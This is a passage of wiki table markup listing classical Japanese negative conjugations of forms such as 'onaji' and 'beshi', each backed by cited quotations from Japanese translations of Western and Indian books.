| {{#invoke:nihongo|nihongo_krt|not be alike|同じくない|onajiku nai}}<br>{{#invoke:nihongo|nihongo_krt||同じゅうない|onajū nai}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:所得收入とは、その意義が必ずしも同じうない。[…]<br>乍併、均しく所得と稱するも、その安定の度は種類によつて必ずしも同じうない。|pp=12, 46|url=https://dl.ndl.go.jp/pid/1457833/1/20|script-chapter=ja:'''第二章''' 收入|script-title=ja:高等教育家事經濟教科書 (家事經濟)|volume=1|publisher=Kobunsha|last=Matsudaira|first=Tomoko|date=30 March 1942|edition=5th|orig-date=28 December 1934|location=[[Yotsuya]], Tokyo}}</ref>
|-
| style=text-align:right | {{#invoke:lang|lang|ja|同じか}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|同じか}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ら}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not be alike|同じからん|onajikaran}}<br>{{#invoke:nihongo|nihongo_krt||同じからぬ|onajikaranu}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:両者の学は同じからぬものがあるようで、要はいずれも聖人の徒たるを失わない。|script-title=ja:王陽明 知識偏重を拒絶した人生と学問|title=The Joy of Learning from the Boundlessly Deep Wisdom of Our Predecessors|volume=7|series={{#invoke:lang|lang|ja|現代活学講話選集}}|date=5 January 2006|isbn=978-4-569-66566-5|publisher=PHP Institute|location=[[Kōtō]], Tokyo|authorlink=Masahiro Yasuoka|first=Masahiro|last=Yasuoka}}</ref><br>{{#invoke:nihongo|nihongo_krt||同じからず|onajikarazu}}<ref>{{#invoke:cite|book|quote=Consequently, no church can claim to be the true one whose doctrines differ from those of the Apostles, or whose ministers are unable to trace, by an unbroken chain, their authority to an Apostolic source; just as our Minister to England can exercise no authority in that country unless he is duly commissioned by our Government, and represents its views.|script-quote=ja:さすれば何れの敎會にしても、その說く所が使徒の傳へた敎と同じからず、その敎役者も傳統を辿つて見ると、直接に使徒からその職權を承傳して居ないとするならば、決してキリストの眞の敎會ではない。外國の使臣が我國へ來朝しても、信任狀を天皇に奉呈して、正式に天皇の承認を得ない限り、使臣の職を執ることが出來ないのと、道理は全く同じである。|trans-quote=With that in mind, no matter what church it may be, if it be the case that the position from which it preaches is unlike the doctrines transmitted by the Apostles, and its ministers, in following tradition, have not inherited authority directly from the Apostles, it is decidedly not a true church of Christ. The exact same principle holds even when a foreign envoy comes to our Court: unless he presents his credentials to and receives formal approval from the Emperor, he cannot assume his position as an envoy.|p=49|url=https://dl.ndl.go.jp/pid/1041069/1/33|script-chapter=ja:第五章 敎會の使徒承傳たる事|trans-chapter=Chapter V. The Apostolic Transmission of Churches|chapter=CHAPTER V. <span style=font-variant:small-caps>apostolicity.</span>|script-title=ja:吾等の信仰|trans-title=[[The Faith of Our Fathers|Our Faith]]|title=<span style=font-variant:small-caps><small>THE</small> Faith of Our Fathers: <small>being A PLAIN EXPOSITION AND VINDICATION of</small></span> <small>The Church Founded by Our Lord Jesus Christ.</small>|authorlink=James Gibbons|first=James|last=Gibbons|translator-first=Wasaburō|translator-last=Urakawa|publisher=Chuoh Publishing Co.|date=15 September 1947|location=[[Shinjuku]], Tokyo}}</ref>
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|ought/have to|可し|beshi}}<br>{{#invoke:nihongo|nihongo_krt||可き|beki}}<br>{{#invoke:nihongo|nihongo_krt||可い|bei}}<br>{{#invoke:nihongo|nihongo_krt||可かる|bekaru}}
| style=text-align:right | '''<span style="color:#04b">{{#invoke:lang|lang|ja|べし<br>べき<br>べい}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|べ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|く<br>びょう}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not have to|可くない|beku nai}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:<ruby>世<rp>(</rp><rt>せ</rt><rp>)</rp></ruby><ruby>界<rp>(</rp><rt>かい</rt><rp>)</rp></ruby>の<ruby>各<rp>(</rp><rt>かく</rt><rp>)</rp></ruby><ruby>所<rp>(</rp><rt>しよ</rt><rp>)</rp></ruby>には<ruby>茲<rp>(</rp><rt>こゝ</rt><rp>)</rp></ruby>に<ruby>記<rp>(</rp><rt>しる</rt><rp>)</rp></ruby>したもの<ruby>以<rp>(</rp><rt>い</rt><rp>)</rp></ruby><ruby>外<rp>(</rp><rt>ぐわい</rt><rp>)</rp></ruby>にまだ<ruby>澤<rp>(</rp><rt>たく</rt><rp>)</rp></ruby><ruby>山<rp>(</rp><rt>さん</rt><rp>)</rp></ruby>の<ruby>珍<rp>(</rp><rt>めづ</rt><rp>)</rp></ruby>らしい<ruby>雲<rp>(</rp><rt>くも</rt><rp>)</rp></ruby>がある。<ruby>雲<rp>(</rp><rt>くも</rt><rp>)</rp></ruby>が<ruby>此<rp>(</rp><rt>こ</rt><rp>)</rp></ruby>のやうに<ruby>種<rp>(</rp><rt>しゆ</rt><rp>)</rp></ruby><ruby>々<rp>(</rp><rt>〲</rt><rp>)</rp></ruby><ruby>樣<rp>(</rp><rt>さま</rt><rp>)</rp></ruby><ruby>々<rp>(</rp><rt>〲</rt><rp>)</rp></ruby>の<ruby>形<rp>(</rp><rt>かたち</rt><rp>)</rp></ruby>を<ruby>取<rp>(</rp><rt>と</rt><rp>)</rp></ruby>つて<ruby>顯<rp>(</rp><rt>あらは</rt><rp>)</rp></ruby>れる<ruby>理<rp>(</rp><rt>り</rt><rp>)</rp></ruby><ruby>由<rp>(</rp><rt>いう</rt><rp>)</rp></ruby>は<ruby>何<rp>(</rp><rt>なに</rt><rp>)</rp></ruby>かと<ruby>問<rp>(</rp><rt>と</rt><rp>)</rp></ruby>はれる<ruby>時<rp>(</rp><rt>とき</rt><rp>)</rp></ruby>に、<ruby>此<rp>(</rp><rt>こ</rt><rp>)</rp></ruby>の<ruby>質<rp>(</rp><rt>しつ</rt><rp>)</rp></ruby><ruby>問<rp>(</rp><rt>もん</rt><rp>)</rp></ruby>に<ruby>答<rp>(</rp><rt>こた</rt><rp>)</rp></ruby>へることはさう<ruby>容<rp>(</rp><rt>よう</rt><rp>)</rp></ruby><ruby>易<rp>(</rp><rt>い</rt><rp>)</rp></ruby>なことでは<ruby>無<rp>(</rp><rt>な</rt><rp>)</rp></ruby>いのである。<ruby>火<rp>(</rp><rt>くわ</rt><rp>)</rp></ruby><ruby>山<rp>(</rp><rt>ざん</rt><rp>)</rp></ruby>の<ruby>上<rp>(</rp><rt>うへ</rt><rp>)</rp></ruby>を<ruby>覆<rp>(</rp><rt>おほ</rt><rp>)</rp></ruby>ふて<ruby>顯<rp>(</rp><rt>あらは</rt><rp>)</rp></ruby>れる<ruby>大<rp>(</rp><rt>おほ</rt><rp>)</rp></ruby>きな<ruby>雲<rp>(</rp><rt>くも</rt><rp>)</rp></ruby>(フムボルトの<ruby>火<rp>(</rp><rt>くわ</rt><rp>)</rp></ruby><ruby>山<rp>(</rp><rt>ざん</rt><rp>)</rp></ruby><ruby>雲<rp>(</rp><rt>ぐも</rt><rp>)</rp></ruby>)は、<ruby>非<rp>(</rp><rt>ひ</rt><rp>)</rp></ruby><ruby>常<rp>(</rp><rt>じやう</rt><rp>)</rp></ruby>に<ruby>大<rp>(</rp><rt>おほ</rt><rp>)</rp></ruby>きな<ruby>雲<rp>(</rp><rt>うん</rt><rp>)</rp></ruby><ruby>塊<rp>(</rp><rt>くわい</rt><rp>)</rp></ruby>で、<ruby>其<rp>(</rp><rt>その</rt><rp>)</rp></ruby><ruby>雲<rp>(</rp><rt>くも</rt><rp>)</rp></ruby>の<ruby>內<rp>(</rp><rt>うち</rt><rp>)</rp></ruby>には<ruby>電<rp>(</rp><rt>でん</rt><rp>)</rp></ruby><ruby>光<rp>(</rp><rt>くわう</rt><rp>)</rp></ruby>が<ruby>閃<rp>(</rp><rt>ひらめ</rt><rp>)</rp></ruby>いてゐる。そして<ruby>時<rp>(</rp><rt>とき</rt><rp>)</rp></ruby>には<ruby>急<rp>(</rp><rt>きふ</rt><rp>)</rp></ruby><ruby>激<rp>(</rp><rt>げき</rt><rp>)</rp></ruby>に<ruby>地<rp>(</rp><rt>ぢ</rt><rp>)</rp></ruby><ruby>面<rp>(</rp><rt>めん</rt><rp>)</rp></ruby>に<ruby>降<rp>(</rp><rt>かう</rt><rp>)</rp></ruby><ruby>下<rp>(</rp><rt>か</rt><rp>)</rp></ruby>して、<ruby>山<rp>(</rp><rt>さん</rt><rp>)</rp></ruby><ruby>腹<rp>(</rp><rt>ぷく</rt><rp>)</rp></ruby>を<ruby>走<rp>(</rp><rt>はし</rt><rp>)</rp></ruby>り<ruby>降<rp>(</rp><rt>くだ</rt><rp>)</rp></ruby>ることがあるけれども、<ruby>其<rp>(</rp><rt>その</rt><rp>)</rp></ruby><ruby>降<rp>(</rp><rt>くだ</rt><rp>)</rp></ruby>るのは<ruby>重<rp>(</rp><rt>ぢう</rt><rp>)</rp></ruby><ruby>力<rp>(</rp><rt>りよく</rt><rp>)</rp></ruby>の<ruby>作<rp>(</rp><rt>さ</rt><rp>)</rp></ruby><ruby>用<rp>(</rp><rt>よう</rt><rp>)</rp></ruby>でもなければ<ruby>又<rp>(</rp><rt>また</rt><rp>)</rp></ruby><ruby>風<rp>(</rp><rt>かぜ</rt><rp>)</rp></ruby>のためでもない。<ruby>唯<rp>(</rp><rt>たゞ</rt><rp>)</rp></ruby><ruby>雲<rp>(</rp><rt>くも</rt><rp>)</rp></ruby><ruby>自<rp>(</rp><rt>じ</rt><rp>)</rp></ruby><ruby>身<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>が<ruby>莫<rp>(</rp><rt>ばく</rt><rp>)</rp></ruby><ruby>大<rp>(</rp><rt>だい</rt><rp>)</rp></ruby>な<ruby>電<rp>(</rp><rt>でん</rt><rp>)</rp></ruby><ruby>氣<rp>(</rp><rt>き</rt><rp>)</rp></ruby>を<ruby>荷<rp>(</rp><rt>にな</rt><rp>)</rp></ruby>つてゐるために、<ruby>雲<rp>(</rp><rt>くも</rt><rp>)</rp></ruby>と<ruby>地<rp>(</rp><rt>ち</rt><rp>)</rp></ruby><ruby>球<rp>(</rp><rt>きう</rt><rp>)</rp></ruby>との<ruby>間<rp>(</rp><rt>あひだ</rt><rp>)</rp></ruby>に<ruby>起<rp>(</rp><rt>おこ</rt><rp>)</rp></ruby>る<ruby>强<rp>(</rp><rt>つよ</rt><rp>)</rp></ruby>い<ruby>電<rp>(</rp><rt>でん</rt><rp>)</rp></ruby><ruby>力<rp>(</rp><rt>りよく</rt><rp>)</rp></ruby>に<ruby>依<rp>(</rp><rt>よ</rt><rp>)</rp></ruby>つて<ruby>地<rp>(</rp><rt>ぢ</rt><rp>)</rp></ruby><ruby>面<rp>(</rp><rt>めん</rt><rp>)</rp></ruby>の<ruby>方<rp>(</rp><rt>はう</rt><rp>)</rp></ruby>へ<ruby>引<rp>(</rp><rt>ひ</rt><rp>)</rp></ruby>きつけられるのである。<ruby>其<rp>(</rp><rt>その</rt><rp>)</rp></ruby><ruby>力<rp>(</rp><rt>ちから</rt><rp>)</rp></ruby>の<ruby>作<rp>(</rp><rt>さ</rt><rp>)</rp></ruby><ruby>用<rp>(</rp><rt>よう</rt><rp>)</rp></ruby>の<ruby>强<rp>(</rp><rt>きやう</rt><rp>)</rp></ruby><ruby>弱<rp>(</rp><rt>じやく</rt><rp>)</rp></ruby>はあるが、どんな<ruby>雲<rp>(</rp><rt>くも</rt><rp>)</rp></ruby>でも<ruby>多<rp>(</rp><rt>た</rt><rp>)</rp></ruby><ruby>少<rp>(</rp><rt>せう</rt><rp>)</rp></ruby><ruby>電<rp>(</rp><rt>でん</rt><rp>)</rp></ruby><ruby>氣<rp>(</rp><rt>き</rt><rp>)</rp></ruby>の<ruby>作<rp>(</rp><rt>さ</rt><rp>)</rp></ruby><ruby>用<rp>(</rp><rt>よう</rt><rp>)</rp></ruby>で<ruby>種<rp>(</rp><rt>しゆ</rt><rp>)</rp></ruby><ruby>々<rp>(</rp><rt>〲</rt><rp>)</rp></ruby>の<ruby>運<rp>(</rp><rt>うん</rt><rp>)</rp></ruby><ruby>動<rp>(</rp><rt>どう</rt><rp>)</rp></ruby>をなすことは<ruby>疑<rp>(</rp><rt>うたが</rt><rp>)</rp></ruby>ふべくもないことである。<ruby>雲<rp>(</rp><rt>くも</rt><rp>)</rp></ruby>の<ruby>中<rp>(</rp><rt>なか</rt><rp>)</rp></ruby>で一<ruby>番<rp>(</rp><rt>ばん</rt><rp>)</rp></ruby><ruby>高<rp>(</rp><rt>たか</rt><rp>)</rp></ruby>い<ruby>空<rp>(</rp><rt>そら</rt><rp>)</rp></ruby>に<ruby>顯<rp>(</rp><rt>あらは</rt><rp>)</rp></ruby>れる<ruby>卷<rp>(</rp><rt>けん</rt><rp>)</rp></ruby><ruby>雲<rp>(</rp><rt>うん</rt><rp>)</rp></ruby>の<ruby>薄<rp>(</rp><rt>うす</rt><rp>)</rp></ruby>く<ruby>細<rp>(</rp><rt>ほそ</rt><rp>)</rp></ruby>い<ruby>繊<rp>(</rp><rt>せん</rt><rp>)</rp></ruby><ruby>狀<rp>(</rp><rt>じやう</rt><rp>)</rp></ruby>の<ruby>雲<rp>(</rp><rt>くも</rt><rp>)</rp></ruby>は、<ruby>時<rp>(</rp><rt>とき</rt><rp>)</rp></ruby>に<ruby>複<rp>(</rp><rt>ふく</rt><rp>)</rp></ruby><ruby>雜<rp>(</rp><rt>ざつ</rt><rp>)</rp></ruby>な<ruby>縺<rp>(</rp><rt>もつ</rt><rp>)</rp></ruby>れた<ruby>運<rp>(</rp><rt>うん</rt><rp>)</rp></ruby><ruby>動<rp>(</rp><rt>どう</rt><rp>)</rp></ruby>を<ruby>起<rp>(</rp><rt>おこ</rt><rp>)</rp></ruby>すが、この<ruby>運<rp>(</rp><rt>うん</rt><rp>)</rp></ruby><ruby>動<rp>(</rp><rt>どう</rt><rp>)</rp></ruby>は<ruby>風<rp>(</rp><rt>かぜ</rt><rp>)</rp></ruby>ばかりでは<ruby>充<rp>(</rp><rt>じう</rt><rp>)</rp></ruby><ruby>分<rp>(</rp><rt>ぶん</rt><rp>)</rp></ruby>に<ruby>說<rp>(</rp><rt>せつ</rt><rp>)</rp></ruby><ruby>明<rp>(</rp><rt>めい</rt><rp>)</rp></ruby>することが<ruby>出<rp>(</rp><rt>で</rt><rp>)</rp></ruby><ruby>來<rp>(</rp><rt>き</rt><rp>)</rp></ruby>ないものである。<ruby>雲<rp>(</rp><rt>くも</rt><rp>)</rp></ruby>に<ruby>關<rp>(</rp><rt>くわん</rt><rp>)</rp></ruby>する<ruby>色<rp>(</rp><rt>いろ</rt><rp>)</rp></ruby><ruby>々<rp>(</rp><rt>〱</rt><rp>)</rp></ruby>の<ruby>疑<rp>(</rp><rt>ぎ</rt><rp>)</rp></ruby><ruby>問<rp>(</rp><rt>もん</rt><rp>)</rp></ruby>は、<ruby>今<rp>(</rp><rt>いま</rt><rp>)</rp></ruby>の<ruby>所<rp>(</rp><rt>ところ</rt><rp>)</rp></ruby>まだ<ruby>限<rp>(</rp><rt>かぎ</rt><rp>)</rp></ruby>りなく<ruby>存<rp>(</rp><rt>そん</rt><rp>)</rp></ruby><ruby>在<rp>(</rp><rt>ざい</rt><rp>)</rp></ruby>するので、<ruby>之<rp>(</rp><rt>これ</rt><rp>)</rp></ruby>に<ruby>關<rp>(</rp><rt>くわん</rt><rp>)</rp></ruby>する<ruby>硏<rp>(</rp><rt>けん</rt><rp>)</rp></ruby><ruby>究<rp>(</rp><rt>きう</rt><rp>)</rp></ruby>は、<ruby>無<rp>(</rp><rt>む</rt><rp>)</rp></ruby><ruby>數<rp>(</rp><rt>すう</rt><rp>)</rp></ruby>の<ruby>他<rp>(</rp><rt>た</rt><rp>)</rp></ruby>の<ruby>興<rp>(</rp><rt>きよう</rt><rp>)</rp></ruby><ruby>味<rp>(</rp><rt>み</rt><rp>)</rp></ruby><ruby>深<rp>(</rp><rt>ぶか</rt><rp>)</rp></ruby>い<ruby>硏<rp>(</rp><rt>けん</rt><rp>)</rp></ruby><ruby>究<rp>(</rp><rt>きう</rt><rp>)</rp></ruby>と<ruby>同<rp>(</rp><rt>おな</rt><rp>)</rp></ruby>じく、やつと<ruby>近<rp>(</rp><rt>ちか</rt><rp>)</rp></ruby><ruby>頃<rp>(</rp><rt>ごろ</rt><rp>)</rp></ruby><ruby>手<rp>(</rp><rt>て</rt><rp>)</rp></ruby>を<ruby>着<rp>(</rp><rt>つ</rt><rp>)</rp></ruby>けたばかりである。|quote=There are many clouds in other parts of the world which we have not portrayed here. There is not always a simple answer to the question, why they do this, and why they do that.<br>The huge cloud which overhangs a volcano ([[Alexander von Humboldt|Humboldt]]’s Volcanic Cloud) as it rolls in huge masses, with the lightning flashing through it, sometimes descends to earth with violence, and rolls down the mountain side with a velocity for which neither gravitation nor wind can account. It so moves because it is ''attracted'' to the earth, by the direct action of its high electrical charge. In various degrees similar electrical phenomena doubtless play their part in the movements of more ordinary clouds. Again, the gossamer threads of cirrus clouds, the highest clouds of all, sometimes run crisscross in complex entanglement, and do other things which wind, or wind alone, is not enough to account for. The puzzles which the clouds set us, one way and another, are endless, and our study of them, like that of so many other interesting things in the world, has only begun.|url=https://dl.ndl.go.jp/pid/972180/1/111|pp=177–179|script-chapter=ja:'''第二十三編''' 氣象學|chapter=XXIII. M<span style=font-variant:small-caps>eteorology</span>|title=THE OUTLINE OF SCIENCE <small>A PLAIN STORY SIMPLY TOLD</small>|script-title=ja:科學大系|volume=5|editor-first=John Arthur|editor-last=Thomson|editor-link=Arthur Thomson (naturalist)|publisher=Daitokaku|translator-last=Takagi|translator-first=Jirō|translator-first2=Mitsuo|translator-last2=Harada|date=30 April 1923|location=[[Kanda, Tokyo]]}}</ref><ref>{{#invoke:cite|book|lang=ja|trans-quote=For this perception includes a very specific mode of comprehension, which is not simply provided by nature, but brought about by humans according to their particular needs and abilities, and which is transmitted mentally rather than inherited physically within humankind. […]<br>In such regulatory activity, although it has the closest possible interrelation to the other two classes of social activities, any entanglement of conceptual boundaries is not yet to be observed.|script-quote=ja:何となれば、此の如き知覺作用なるものは、把捉の全然特定なる方法を包含するのであつて、かゝる把捉法といふものは、單に自然によつて提供をされず、之に反し、人間によつてその特異なる需要及び能力に基いて發生せしめられ、さうして人間種族に於ては、寧ろ心的に讓與されて物的には遺傳さるべくない所のものであるからである。|quote=Denn diese Wahrnehmung schliesst eine ganz bestimmte Weise der Auffassung ein, die nicht von der Natur schlechthin dargeboten, sondern vom Menschen nach seinen eigentümlichen Bedürfnissen und Fähigkeiten zustande gebracht und im Menschengeschlecht nicht sowohl physisch vererbt, als vielmehr psychisch überliefert wird. […] Auch hier ist, bei der denkbar engsten Wechselbeziehung zu den beiden andern Klassen sozialer Thätigkeiten, von einem Verfliessen der begrifflichen Grenzen nichts zu bemerken.|pp=186–187, 254|script-title=ja:批判主義に基く哲學的敎育學|trans-title=Philosophical Paedagogy Grounded in Criticism|title=Sozialpädagogik. Theorie der Willenserziehung auf der Grundlage der Gemeinschaft.|translator-last=Inagaki|translator-first=Suematsu|publisher=Dobunkan|date=5 December 1924|authorlink=Paul Natorp|first=Paul Gerhard|last=Natorp|location=[[Kanda, Tokyo]]|url=https://dl.ndl.go.jp/pid/980035/1/107}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:更に又、藝術品に對しては、空間的の關係と時間的の關係とが缺損する許りでなく、該藝術品の外に存する所の何等かの現實物、卽ち現實界に於ける吾人、又は他人、又は事物に對する各の<span style=text-emphasis:sesame>因果關係</span>といふものも缺損する。されど又、或る意義に於ては、固より吾人との關係に立つ。それはかの「美的感情移入」といふ語によつて表示せらるゝ所の理念的關係である。さうして右の缺損する關係といふのは、<span style=text-emphasis:sesame>觀照する所の自我に對する此の如き理念的</span>の關係ではなくて、藝術品中に描出されたものと、敢へて觀照をなして居ないところの現實的自我との現實的關係たるのである。藝術品中に描出された形像に對しては、吾人の現實的自我は、空間的に解釋さるべくないところの絕對的遠隔の關係に立つ。さうして其の此の如くあるといふ事は、二つの理由、否結極一つの理由からである。それは、第一には、單に表象されたものは、吾人と何等の現實的關係に立つ事が能きないからである。第二には、此の如き現實的關係に於て現出する所の現實的自我なるものは、美的觀照に於ては除却されてあるからである。|quote=Und mit der räumlichen und zeitlichen Beziehung fehlt dem Kunstwerk auch jede Kausalbeziehung zu irgendeinem Wirklichen auſserhalb des Kunstwerkes; sei es zu mir, sei es zu anderen Personen oder zu irgendwelchen Dingen der wirklichen Welt. Es steht freilich zu mir in Beziehung. Aber dies ist nur die ideelle Beziehung, die durch das Wort „ästhetische Einfühlung“ bezeichnet ist. Und nicht von dieser ideellen Beziehung zum betrachtenden Ich, sondern von der realen Beziehung des im Kunstwerk Dargestellten zu mir, dem realen, nicht in der Betrachtung aufgehenden Ich, ist hier die Rede. Solche Beziehung nun ist unmöglich. Zu den im Kunstwerk dargestellten Gestalten steht mein reales Ich in einem Verhältnis der absoluten, nicht räumlich zu nehmenden Ferne. Und dies aus zwei Gründen, die doch wiederum ein einziger sind. Bloſs Vorgestelltes kann in keine reale Beziehung zu mir treten, andererseits ist das reale Ich, zu welchem es in solche Beziehung treten müſste, in der ästhetischen Betrachtung ausgeschaltet.|trans-quote=And the artwork lacks not only spatial and temporal relation, but also any ''causal relation'' to anything real outside it, that is, to me, other people or things in the real world. Yet in some sense, it stands, of course, in relation to me. This is the ideal relation expressed by the term “aesthetic empathy.” The said lacking relation is not ''this ideal relation to the contemplating self in question'', but the real relation between what is depicted in the artwork, and the real self that is not presuming to do the contemplation. To the figures depicted in the artwork, my real self stands in a relation of absolute, spatially inconstructible distance. And this is, as follows, due to two reasons, which are actually one after all. First, it is because merely imagined things cannot stand in any real relation with me; and second, the real self, which emerges in such real relation, is excluded from aesthetic contemplation.|pp=915–916|url=https://dl.ndl.go.jp/pid/1227425/1/62|script-chapter=ja:'''第四章''' 藝術品の享樂|trans-chapter='''Fourth Chapter:''' The Enjoyment of the Artwork|chapter=Viertes Kapitel: Der Genuſs des Kunstwerkes.|script-title=ja:美的觀照と藝術品|trans-title=Aesthetic Contemplation and the Artwork|title=Erster Abschnitt. Die ästhetische Betrachtung und das Kunstwerk.|series=''Ästhetik. Psychologie des Schönen und der Kunst'' {{#invoke:lang|lang|ja|リップス美學大系}} [''Lipps’s Outline of Aesthetics'']|volume=7|publisher=Dobunkan|date=25 May 1928|translator-last=Inagaki|translator-first=Suematsu|location=[[Kanda, Tokyo]]|authorlink=Theodor Lipps|first=Theodor|last=Lipps}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:善良にして正直な編輯者たり、善良にして正直な記者たることは、當代に於ては、紛ふべくない人類の恩惠者たることである。|quote=To be a good and honest editor, a good and honest journalist is in these days to be a veritable benefactor of mankind.|pp=168–169|url=https://dl.ndl.go.jp/pid/1216282/1/96|script-chapter=ja:第七 大衆に語る|chapter=VII. TALKING AT LARGE|title=ADDRESSES IN AMERICA|script-title=ja:名講演抄|trans-title=Excerpts from Famous Lectures|translator-last=Nishimoto|translator-first=Masami|publisher=Gaigo Kenkyusha|date=22 November 1933|authorlink=John Galsworthy|first=John|last=Galsworthy}}</ref><br>{{#invoke:nihongo|nihongo_krt||可うない|byō nai}}
|-
| style=text-align:right | {{#invoke:lang|lang|ja|べか}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|べか}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ら}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not have to|可からん|bekaran}}<br>{{#invoke:nihongo|nihongo_krt||可からぬ|bekaranu}}<ref>{{#invoke:cite|book|lang=ja|trans-quote=Closely connected to this was the newly awakened joy in nature, to which the Romantics devoted a truly religious, through-and-through pantheistic adoration; and was, too, the moodiness of their poetry, which became ever more sublime and incomprehensible like musical melodies and songs without words, floated around things, and turned into sounds and rings without content or meaning. It was “illusions of poems” rather than actual poems. Besides this was a particular predilection for didactics and allegory, which seems to contradict symbolism and yet is nothing more than just another kind of symbolics. Check out, for example, the prolog to [[Ludwig Tieck|Tieck]]’s “Emperor [[Octavian]],” which starts early on with the poet’s enthusiasm for the forest.|quote=Damit hing aufs engſte die neuerwachte Freude an der Natur zuſammen, der die Romantiker eine wahrhaft religiöſe, durch und durch pantheiſtiſche Verehrung widmeten; damit das Stimmungsmäßige ihrer Poeſie, die immer ſublimer und unfaßbarer nur wie Melodien und Lieder ohne Worte die Dinge umſchwebt und in ein Tönen und Klingen ohne viel Jnhalt und Sinn übergeht, „Einbildungen von Gedichten“ mehr als wirkliche Gedichte; und daneben eine Vorliebe für Didaktik und Allegorie, die jenem Symbolismus zu widerſprechen ſcheint und doch nur eine andere Art von Symbolik iſt. Man leſe z. B. den Prolog zu Tiecks Kaiſer Oktavianus — erſt die Waldbegeiſterung des Dichters:|script-quote=ja:浪漫派の人々が眞に宗敎的なる徹頭徹尾汎神論的なる崇拜を捧げた、かの自然について、新に歡喜が呼び起された事は之と極めて密接に關係してゐた。又彼等の詩が氣分的なのも之と密接な關係があつた。卽ちその詩は、益々壯重なものとなり音樂の旋律や歌詞なき歌謠の樣に解し得べからぬものとなり、事物のめぐりにゆらぎ漂ひ、內容もなく意義もない音や響となつてしまつた。卽ち現實の詩よりも寧ろ『詩の想像』であつたのである。尙此の外に、かの象徵主義と矛盾する如く見えるが然し象徵の他の一種に過ぎない寓話や、敎訓に對する特別な好みがあつた。例へばテイイクの『皇帝オクタアヸアヌス』の序詞を見よ。先づ初には森林についての詩人の感激が書かれてある。|url=https://dl.ndl.go.jp/pid/978793/1/52|p=79|script-chapter=ja:'''第一章''' 三種の世界觀|trans-chapter='''First Chapter:''' The Three Worldviews|chapter=Erſtes Kapitel: Die drei Weltanſchauungen|script-title=ja:獨逸思潮史|trans-title=The History of Germany’s Currents|title=Die geiſtigen und ſozialen Strömungen Deutſchlands im 19. und 20. Jahrhundert|volume=1|authorlink=Theobald Ziegler|first=Theobald|last=Ziegler|translator-first=Kichinosuke|translator-last=Itō|translator-last2=Iida|translator-first2=Tadasumi|date=5 July 1926|publisher=Kokumin Tosho|location=[[Kōjimachi]], Tokyo}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:若し只ヘㇺナリニがこの仲間の一員であれば、一切は單純に解決するであらうものを! だがそれは有り得べからぬことであつて、彼はこの現在の紛糾に他の解決を思ひつくことは出來なかつた。|trans-quote=If only Hemnalini had been one of the party, everything would be easily solved! But that was impossible, and he could not think of any other solution to the present entanglement.|script-chapter=ja:'''第二十三章'''|trans-chapter='''Chapter XXIII'''|chapter=২৩|script-title=ja:運命の舟|title=নৌকাডুবি|trans-title=[[Noukadubi|The Fateful Boat]]|authorlink=Rabindranath Tagore|first=Rabindranath|last=Tagore|translator-first=Kōichirō|translator-last=Miyahara|publisher=Shunyodo|series={{#invoke:lang|lang|ja|世界名作文庫}}|volume=415|date=5 November 1932|url=https://dl.ndl.go.jp/pid/1244099/1/59|p=111|location=[[Nihonbashi]], Tokyo}}</ref><br>{{#invoke:nihongo|nihongo_krt||可からず|bekarazu}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:'''ルニョー''' (立ち上りながら)わしはこう言ったのだ――「一人の野心家は、ローマの市民らに為したるが如く、我らの軍隊に向いて、スペイン若しくはシリヤの掠奪を約すならんか?……断じてしかあるべからず! 何となれば、《<ruby>王なる民衆<rp>(</rp><rt>プープルロア</rt><rp>)</rp></ruby>》たることを拒否してのみ我らは常に自由なる民衆たることを得るが故に!」と。|trans-quote='''REGNAULT''' ''(standing up)'' I thus said—“Will an ambitious man promise our troops, as he would the citizens of Rome, the pillage of Spain or Syria?… Absolutely never! For only by refusing to be a ‘kingly people’ can we remain a free people!”|quote=<p style=text-align:center>REGNAULT</p>''<p style=text-align:center>(se redressant.)</p>Je l’ai dit :'' « Un ambitieux promettra-t-il à nos soldats, comme aux citoyens de Rome, le pillage des Espagnes ou de la Syrie?… Non! Car nous ne pouvons rester un peuple libre qu’en refusant d’être un peuple-roi! »|url=https://dl.ndl.go.jp/pid/1695576/1/64|p=125|script-chapter=ja:'''第二景''' <small>(町長ヴァリエが現われる)</small>|trans-chapter='''SCENE II''' <small>(Appear [[Schultheiss]] Wallier)</small>|chapter=SCÈNE II ''(Paraît le Schultheiss Wallier.)''|script-title=ja:獅子座の流星群|title=LES LÉONIDES|trans-title=THE LEONIDS|authorlink=Romain Rolland|first=Romain|last=Rolland|series={{#invoke:lang|lang|ja|岩波文庫}}|volume=793a|translator-first=Toshihiko|translator-last=Katayama|publisher=Iwanami Shoten|date=25 March 1958|edition=9th|orig-date=15 February 1932|location=[[Chiyoda, Tokyo]]}}</ref><ref>{{#invoke:cite|book|lang=ja|quote='''Surv.''' Not long before your highness sped to France,<br>The Duke being at the Rose, within the parish<br>Saint Laurence Poultney, did of me demand<br>What was the speech among the Londoners<br>Concerning the French journey? I replied,<br>Men feared the French would prove perfidious,<br>To the King’s danger. Presently the Duke<br>Said, ’t was the fear indeed; and that he doubted<br>’T would prove the verity of certain words<br>Spoke by a holy monk, “that oft,” says he,<br>“Hath sent to me, wishing me to permit<br>John de la Car, my chaplain, a choice 